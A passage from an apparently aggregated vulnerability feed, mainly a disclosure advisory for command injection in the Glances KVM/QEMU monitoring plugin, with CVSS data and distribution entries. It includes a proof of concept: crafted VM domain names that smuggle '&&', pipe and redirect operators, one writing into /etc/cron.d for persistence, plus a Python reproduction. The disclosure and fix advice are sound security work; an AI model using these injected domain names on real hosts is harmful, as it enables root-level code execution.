redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 — Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 — Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 — Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = 'productionDB \u0026\u0026 id'\nresult = secure_popen(f'/bin/echo domstats --nowait {domain}')\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full — file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic:\n\n```python\n# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, 'domstats', '--nowait', domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---","status":"published","published":"2026-07-13T15:46:22.772744Z","modified":"2026-07-13T16:31:55.159152828Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-46606","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:00Z","modified":"2026-06-29T23:15:40.851839372Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:30.797112Z"},{"id":"openSUSE-SU-2026:11122-1","title":"glances-common-4.5.5-1.1 on GA media","description":"These are all security issues fixed in the glances-common-4.5.5-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-25T00:00:00Z","modified":"2026-06-26T08:15:05.733065825Z","updated_at":"2026-11-02T16:58:38.95195Z"}]}}
